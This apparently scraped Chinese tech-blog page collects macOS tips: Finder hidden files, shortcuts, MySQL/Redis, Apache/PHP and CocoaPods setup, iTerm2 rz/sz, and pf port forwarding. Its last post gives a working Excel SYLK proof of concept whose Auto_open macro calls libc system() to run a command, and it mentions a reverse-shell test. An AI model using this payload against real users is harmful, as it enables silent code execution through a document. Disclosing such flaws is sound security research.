mac

如何在Mac下显示Finder中的所有文件

大兔子大兔子 提交于 2019-12-05 01:45:50
在Unix下工作,你可能需要处理一些“特殊“文件或文件夹,例如/usr,/bin, etcf,或一些"dot files"(如.bash_profile)。但是Linux/Unix系统处于安全、帐户权限等原因的考虑,普通帐户在正常情况下是看不到这些文件或文件夹的。本文将简单的介绍如何在Finder中看到这些文件/文件夹。 方法1: 对于一般的查看文件夹,可以在Finder中直接使用"Go | Go to folder"命令,快捷键 Shift+Command+G 可能会更加方便。笔者经常使用它。 如果你还没有使用过这个命令,不妨现在试试打开“/usr/local”。 方法1的缺陷正如它的名字“Go to folder"──它只能打开文件夹,不能查看操作隐藏文件。 方法2: 你可能需要"Windows Explorer”式的方法来处理所有的隐藏文件夹和文件,即让所有文件(夹)显示出来,方便在程序中“打开”、拖拽等更直观的操作,那么请打开Terminal。 Terminal类似Windows下的cmd,powershell等,如果你在Windows下不是一个"Commander",在Linux/Unix/Mac下你或许得慢慢适应使用命令行式的生活,因为它会让你的工作更快,浪费的时间更少,你会喜欢上它的!Terminal在Dock上是一个左上角写着">_"的“黑框”

MACOS下显示.htaccess等隐藏文件

送分小仙女□ 提交于 2019-12-05 01:45:39
在mac系统下,.htaccess文件默认是隐藏的,诸如.DS_Store,.localized文件被系统隐藏掉一样。 那么如何让mac系统显示隐藏大文件呢,本文通过终端指令大方式,来解决这一问题,该linux教程如下: 指令如下: defaults write com.apple.finder AppleShowAllFiles TRUE 接着: killall Finder 第一行指令,设定隐藏文件为可见 第二行指令,杀掉所有Finder进程,然后自动重启。 来源: oschina 链接: https://my.oschina.net/u/862118/blog/754510

Mac OSX 快捷键&命令行

醉酒当歌 提交于 2019-12-05 01:45:24
一.Mac OSX 快捷键 ctrl+shift 快速放大dock的图标会暂时放大,而如果你开启了dock放大 Command+Option+W 将所有窗口关闭 Command+W 将当前窗口关闭(可以关闭Safari标签栏,很实用) Command+Option+M 将所有窗口最小化 Command+Q 关闭当前应用程序(相当于Dock鼠标右键推出.很实用) Command+M 将目前使用的窗口最小化 Command+H 隐藏当前窗口或者软件 Command+tab 为切换当前工作任务 Control+Command+S 切换控制条的显示和隐藏 Command+i 常规信息(显示及设置图标属性) Command+delete 移到废纸篓(删除) Optionion+鼠标 拖图像或文件夹可以将图像或文件夹拷贝到其它文件夹中,而不是移动 Command+Shift+backspace 清空废纸篓(再加上option一起按能跳过确认对话框) Command+N 键可以建立新文件夹 “return”或“enter”或“O”键可以打开所选项目 Command+Option+esc 键可以强行退出死机程序 Command+Shift+3 截图(当前屏幕) Command+Shift+4 截图(自由选取范围) Option+F12 关机窗口(能选择关机、重起、睡眠) Command+1

Mac--管理mysql、redis服务的常用命令

早过忘川 提交于 2019-12-05 00:51:44
##启动MySQL服务 sudo /usr/local/MySQL/support-files/mysql.server start ##停止MySQL服务 sudo /usr/local/mysql/support-files/mysql.server stop ##重启MySQL服务 sudo /usr/local/mysql/support-files/mysql.server restart 修改mysql root账户密码:默认为空 https://www.cnblogs.com/xingxiangyi/p/9334694.html https://www.cnblogs.com/nyfz/p/8514131.html # 安装redis brew install redis # 启动服务端 redis-server # commond+n 另外开启一个cmd redis-cli # 此时提示6379端口,说明连接成功 # 检测服务是否启动,执行命令 ping # 得到结果pong说明成功 来源: https://www.cnblogs.com/lutt/p/11892776.html

Mac下配置Apache + Php + Mysql环境

≯℡__Kan透↙ 提交于 2019-12-05 00:42:39
Apache与PHP的配置 Mavericks同以往的OSX一样自带了apache2.2.24和php 5.4.17,但默认情况下没有开启,打开终端 sudo apachectl start 这时在浏览器中输入localhost应该就会出现apache标准的It Works! 下面开启php,修改apache配置文件 sudo vim /etc/apache2/httpd.conf 找到 #LoadModule php5_module libexec/apache2/libphp5.so,去掉前面的# 默认的www文件夹非常不方便,还是改成在home里开发起来比较顺手,修改apache配置 ,还是上面的文件 #将引号中的目录修改为自己的目录 DocumentRoot "/Library/WebServer/Documents" ...... #将引号中的目录修改为和上面一样的目录 <Directory "/Library/WebServer/Documents"> 在自己的目录中创建文件index.php,写入 <?php phpinfo(); ?> 在浏览器中访问localhost,应该显示出php的info页 MySQL与phpMyAdmin的安装与配置 到MySQL官网上下载最新的MySQL版本 http://dev.mysql.com/downloads/mysql/ ,

(mac完整搭建cocoapod)搭建ruby环境配置cocoapod以及使用cocoapod三方

僤鯓⒐⒋嵵緔 提交于 2019-12-05 00:00:37
废话呢,小编也不多说了,直接看技术贴吧! 1 - 打开终端 接下来所有的操作语句都是在终端中进行的! 下面的 代码区域,带有 $ 打头的表示需要在终端下面执行(不包括 $ 符号) 2 - 安装 RVM RVM是一个用来配置管理ruby的工具,很方便! $ curl -L https://get.rvm.io | bash -s stable 期间可能会问你sudo管理员密码,以及自动通过 homebrew 安装依赖包,等待一段时间后就可以成功安装好 RVM。 如果要求输入密码,是用户开机密码,同时输入的时候密码是不显示的,直接输入完按回车就可以了 检查一下是否安装正确 语句: $ rvm -v 我的出现的是这样的版本,这样就是安装成功了 用来载入 RVM 环境的语句,如果不自动载入用下面命令(新开 Termal 就不用这么做了,会自动重新载入的) $ source ~/.rvm/scripts/rvm 3 - 用 RVM 安装 Ruby 环境 列出已知的ruby版本的语句 $ rvm list known 可以选择现有的rvm版本来进行安装 语句 (下面以rvm 2.0.0版本的安装为例) $ rvm install 2.0.0 同样继续等待漫长的下载,编译过程,完成以后,Ruby, Ruby Gems 就安装好了。 查询已经安装的ruby 语句 $ rvm list

Mac iterm2 安装配置rz、 sz命令

独自空忆成欢 提交于 2019-12-04 23:57:09
在换了MacBook以后没有用到去如何链接远程服务器上传文件,最近闲下来的时候买了一个阿里服务器练手,突然想到不知道如何上传文件到远程阿里服务器,就去研究看了一下... 1、首先安装一下iterm2,Mac的客户端官方下载地址: https://www.iterm2.com/downloads.html 2、在本地下载lrzsz: brew install lrzsz 3、然后下载iterm2-send-zmodem和iterm2-recv-zmodem,把文件保存到/usr/local/bin/ 路径下 下载地址: https://github.com/aikuyun/iterm2-zmodem 4、添加权限 cd /usr/local/bin chmod +x iterm2-send-zmodem.sh chmod +x iterm2-recv-zmodem.sh 5、设置iterm2的触发器(triggers) 执行如下以下步骤:command+“,” 组合键打开item2的“Preferences”面板->Profiles选项卡->Advanced->Triggers(点击Edit即可) Regular expression: \*\*B0100 Action: Run Silent Coprocess Parameters: /usr/local/bin/iterm2

android 获取设备IP和Mac地址

陌路散爱 提交于 2019-12-04 22:43:07
获取Mac地址: public String getLocalMacAddress() { String Mac=null; try{ String path="sys/class/net/wlan0/address"; if((new File(path)).exists()) { FileInputStream fis = new FileInputStream(path); byte[] buffer = new byte[8192]; int byteCount = fis.read(buffer); if(byteCount>0) { Mac = new String(buffer, 0, byteCount, "utf-8"); } } Log.v("daming.zou***wifi**mac11**", ""+Mac); if(Mac==null||Mac.length()==0) { path="sys/class/net/eth0/address"; FileInputStream fis_name = new FileInputStream(path); byte[] buffer_name = new byte[8192]; int byteCount_name = fis_name.read(buffer_name); if(byteCount_name

mac os 10.10以上的开启端口转发-解决mac默认不开启1024以下端口权限问题

寵の児 提交于 2019-12-04 21:24:35
mac os 10.10以上的开启端口转发-解决mac默认不开启102以上端口权限问题 本人 10.10.2的mac os,tomcat想要在80端口上启动,网上查了N多资料都不行,只有这个方案可行: 老版本的OS X使用的是ipfw设置端口转发,但新的版本特别是在我这个OSX Yosemite (10.10.3)中,已经无法使用ipfw,而是换成了PF。 PF配置端口转发的文章网上也有一大堆,但用下来没能解决问题,反而让我迷惑气愤,下面给出最为正确的配置: 首先在 /etc/pf.anchors/ 新建一个 com.pow 文件内容如下: rdr pass on lo0 inet proto tcp from any to any port 80 -> 127.0.0.1 port 8080 rdr pass on lo0 inet proto tcp from any to any port 80 -> 127.0.0.1 port 8080 其中lo0为你ifconfig时查询到的网卡的名字 80是tomcat端口,8080为你想转发的端口 注意: 在段落末尾一定要加换行,否则会报syntax error错误。 然后使用 pfctl 命令检测配置文件 sudo pfctl -vnf /etc/pf.anchors/com.pow 添加到主配置文件 pf启动时会自动装载/etc

Excel RCE on macOS

若如初见. 提交于 2019-12-04 20:58:59
背景 该漏洞最初由Pieter Ceelen发现。如果安装时启用 Disable all macros without notification ,可实现悄无声息执行命令。 查看打开文件的默认程序,可以看到 .slk 文件默认用Excel打开 cd /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support && ./lsregister -dump POC,打开计算器测试 ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator") C;X1;Y102;K0;EHALT() E 反弹shell测试 总结 默认配置的Excel一般会有宏的提示,对于安全意识不高的群体仍然存在一定的风险。 参考 https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/#more-547 https://objective-see.com/blog/blog_0x50.html 来源: https:/